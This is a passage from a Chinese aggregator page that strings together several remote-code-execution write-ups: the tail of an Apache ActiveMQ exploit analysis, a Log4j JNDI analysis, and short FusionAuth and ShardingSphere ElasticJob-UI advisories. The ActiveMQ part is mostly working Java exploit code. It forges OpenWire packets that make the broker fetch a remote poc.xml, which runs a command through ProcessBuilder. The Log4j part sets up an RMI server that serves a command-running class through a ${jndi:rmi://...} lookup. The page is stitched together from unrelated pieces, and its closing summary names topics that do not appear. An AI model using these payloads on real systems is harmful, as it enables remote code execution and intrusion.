        //((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);
        //((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);
        connection.close();

    }

image

由于 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。添加如下代码

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

   public static void ConnectionErrorExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        ConnectionError connectionError = new ConnectionError();
        connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        //ExploitSession.syncSendPacket(connectionError);
        //ExploitSession.asyncSendPacket(connectionError);
        ((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);
        connection.close();

    }
    public static void MessageAckExploit() throws Exception {
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
        Connection connection = connectionFactory.createConnection("admin","admin");
        connection.start();
        ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        MessageAck messageAck  = new MessageAck();
        messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));
        ExploitSession.syncSendPacket(messageAck);
        //ExploitSession.asyncSendPacket(messageAck);
        //((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);
        connection.close();

    }

通过数据流进行触发 ExceptionResponseMarshaller

‍主要是依据 ActiveMQ 的协议 去触发 ExceptionResponseMarshaller

        String ip = "127.0.0.1";
        int port = 61616;
        String pocxml= "http://192.168.184.1:9090/poc.xml";
        Socket sck = new Socket(ip, port);
        OutputStream os = sck.getOutputStream();
        DataOutputStream out = new DataOutputStream(os);
        out.writeInt(0); //
        out.writeByte(31); //dataType ExceptionResponseMarshaller
        out.writeInt(1); //CommandId
        out.writeBoolean(true); //ResponseRequired
        out.writeInt(1); //CorrelationId
        out.writeBoolean(true);
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        //use true -> red utf-8 string
        out.writeBoolean(true);
        out.writeUTF(pocxml);
        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce
        out.close();
        os.close();
        sck.close();

通过伪造类实现触发 ExceptionResponse

‍我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

image

利用 wireFormat.unmarshal​ 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

image

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport​ 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

 /**
     * A one way asynchronous send
     */
    @Override
    public void oneway(Object command) throws IOException {
        checkStarted();
        Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");
        ExceptionResponse response = new ExceptionResponse(obj);
        wireFormat.marshal(response, dataOut);
        dataOut.flush();
    }

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。必须添加如下代码

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    public ClassPathXmlApplicationContext(String message) {
        super(message);
    }
}

‍poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>touch</value>
                <value>/tmp/1.txt</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

漏洞复现

7

‍  

Apache FreeMarker模板FusionAuth远程代码执行漏洞分析

Apache FreeMarker模板FusionAuth远程代码执行漏洞分析

这篇文章给大家介绍Apache FreeMarker模板FusionAuth远程代码执行漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

0x00 漏洞背景

2020年2月4日,360CERT监测到NVD发布了CVE-2020-7799漏洞预警,漏洞等级高。

在FusionAuth 1.11.0版本之前的中发现了一个问题。经过身份验证的用户允许编辑电子邮件模板(主页->设置->电子邮件模板)或主题(主页->设置->主题),可利用freemarker.template.utility.Execute执行任意命令

360CERT判断漏洞等级为高,危害面/影响面大。建议使用FusionAuth的用户及时安装最新补丁,以免遭受黑客攻击。

0x01 漏洞详情

Apache FusionAuth 组件利用了 Apache FreeMarker 模板引擎,经过身份验证的用户允许编辑电子邮件模板,在进行模板编辑时,可利用freemarker.template.utility.Execute执行任意命令

Apache FreeMarker模板FusionAuth远程代码执行漏洞分析

0x02 影响版本

  • Apache FusionAuth :

    <= 1.10

0x03 修复建议

  • 建议用户升级到新版FusionAuth:

    https://fusionauth.io/direct-download

关于Apache FreeMarker模板FusionAuth远程代码执行漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

Apache Log4j 远程代码执行漏洞源码级分析

Apache Log4j 远程代码执行漏洞源码级分析

  • 漏洞的前因后果
    • 漏洞描述
    • 漏洞评级
    • 影响版本
    • 安全建议
  • 本地复现漏洞
    • 本地打印 JVM 基础信息
    • 本地获取服务器的打印信息
  • log4j 漏洞源码分析
  • 扩展:JNDI
  • 危害是什么?
  • GitHub 项目
  • 参考链接

漏洞的前因后果

2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。详情见 【漏洞预警】Apache Log4j 远程代码执行漏洞

漏洞描述

Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

漏洞评级

Apache Log4j 远程代码执行漏洞 严重

影响版本

Apache Log4j 2.x <= 2.14.1

安全建议

1、升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

2、升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。

本地复现漏洞

首先需要使用低版本的 log4j 包,我们在本地新建一个 Spring Boot 项目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以复现漏洞。

参考 Apache Log4j Lookups,我们先使用代码在 log 里获取一下 java:vm。

本地打印 JVM 基础信息

@SpringBoottest
class Log4jApplicationTests {

	private static final Logger logger = LogManager.getLogger(SpringBoottest.class);

	@Test
	void log4j() {
		logger.info("content {}", "${java:vm}");
	}
}

可以发现输出是:

content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)

使用 JavaLookup 获取到了 JVM 的相关信息(需要使用java前缀)。

本地获取服务器的打印信息

本地启动一个 RMI 服务:

public class Server {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:8081/";
        // Reference 需要传入三个参数 (className,factory,factoryLocation)
        // 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
        Reference reference = new Reference("ExecCalc", "ExecCalc", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("calc", referenceWrapper);
    }
}

ExecCalc 类直接放在根目录,不能申请包名,即不能存在 package xxx。声明后编译的 class 文件函数名称会加上包名从而不匹配。参考 Java 安全-RMI-JNDI 注入。

public class ExecCalc {
    static {
        try {
            System.out.println("open a Calculator!");
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printstacktrace();
        }
    }
}

之后启动上面的 Server 类,再执行下面的代码:

@Test
void log4jEvil() {
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}

发现测试用例的控制台输出了 open a Calculator! 并启动了计算器。

log4j 漏洞源码分析

只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}"); 这段代码,首先会调用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        callAppenders(event);
    }
    logParent(event, predicate);
}

其中 LogEvent 结构如下:

encode 对应的事件,将 ${param} 里的 param 解析出来,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend

private void tryAppend(final LogEvent event) {
    if (Constants.ENABLE_DIRECT_ENCODERS) {
        directEncodeEvent(event);
    } else {
        writeByteArrayToManager(event);
    }
}

protected void directEncodeEvent(final LogEvent event) {
    getLayout().encode(event, manager);
    if (this.immediateFlush || event.isEndOfBatch()) {
        manager.flush();
    }
}

调用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,将对应参数解析出结果。

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                    final int startPos, final int endPos) {
    final StrLookup resolver = getvariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}

和官方文档上是能够对应上的,即 log 里只解析前缀为 datejndi 等的命令,本文的测试用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}

解析出参数的结果, org.apache.logging.log4j.core.lookup.Interpolator#lookup

@Override
public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEParaTOR);
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    }
    return null;
}

其核心是这段代码:

value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);

org.apache.logging.log4j.core.lookup.JndiLookup#lookup

接下来就是调用 javax.naming 的 JDK 相关代码,远程加载了 ExecCalc 类,在本地输出了 open a Calculator! 并启动了计算器。

扩展:JNDI

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用 JNDI 在局域网上定位一台打印机,也可以用 JNDI 来定位数据库服务或一个远程 Java 对象。JNDI 底层支持 RMI 远程对象,RMI 注册的服务可以通过 JNDI 接口来访问和调用。

​JNDI 是应用程序设计的 Api,JNDI 可以根据名字动态加载数据,支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等等。

其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。

危害是什么?

  1. client 可以获取服务器的某些信息,通过 JNDI 远程加载类
  2. client 向服务器注入恶意代码

GitHub 项目

Java 编程思想-最全思维导图-GitHub 下载链接,需要的小伙伴可以自取~

原创不易,希望大家转载时请先联系我,并标注原文链接。

参考链接

  • Java 安全-RMI-JNDI 注入
  • Lesson: Overview of JNDI
  • https://logging.apache.org/log4j/2.x/manual/lookups.html

总结

以上是小编为你收集整理的Apache Log4j 远程代码执行漏洞源码级分析全部内容。

如果觉得小编网站内容还不错,欢迎将小编网站推荐给好友。

原文地址:https://www.cnblogs.com/510602159-Yano/p/15689497.html

Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞

Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞

漏洞描述

Apache ShardingSphere ElasticJob-UI 是 ElasticJob 的管理控制台,包含了动态配置、作业管控等功能。ElasticJob 是一个分布式调度解决方案,由两个独立的项目 ElasticJob-Lite 和 ElasticJob-Cloud 组成。

Apache ShardingSphere ElasticJob-UI 在3.0.2之前的版本中由于对连接H2数据库的JDBC URL过滤不当从而存在远程代码执行漏洞,已经知道H2数据库用户名和密码的攻击者可利用此漏洞通过构造恶意的H2 JDBC URL进行远程代码执行。

漏洞名称 Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞
漏洞类型 代码注入
发现时间 2022-11-01
漏洞影响广度 极小
MPS编号 MPS-2022-16674
CVE编号 CVE-2022-31764
CNVD编号 -

影响范围

org.apache.shardingsphere:shardingsphere-elasticjob-lite-ui-backend@(-∞, 3.0.2)

修复方案

将组件 org.apache.shardingsphere:shardingsphere-elasticjob-lite-ui-backend 升级至 3.0.2 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-2022-16674

https://nvd.nist.gov/vuln/detail/CVE-2022-31764

    

情报订阅

OSCS(开源软件供应链安全社区)通过最快、最全的方式,发布开源项目最新的安全风险动态,包括开源组件安全漏洞、事件等信息。同时提供漏洞、投毒情报的免费订阅服务,社区用户可通过配置飞书、钉钉、企业微信机器人,及时获得一手情报信息推送:

https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见:

https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

关于WebSphere远程代码执行漏洞分析weblogic远程代码执行漏洞cve-2019-2729的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于Apache ActiveMQ 远程代码执行漏洞分析、Apache FreeMarker模板FusionAuth远程代码执行漏洞分析、Apache Log4j 远程代码执行漏洞源码级分析、Apache ShardingSphere ElasticJob-UI <3.0.2 远程代码执行漏洞等相关知识的信息别忘了在本站进行查找喔。

本文标签:

上一篇使用Pytorch和BERT进行多标签文本分类(pytorch 多标签分类)

下一篇Bilibili 毛剑:Go 业务基础库之 Error(b站毛剑个人简历)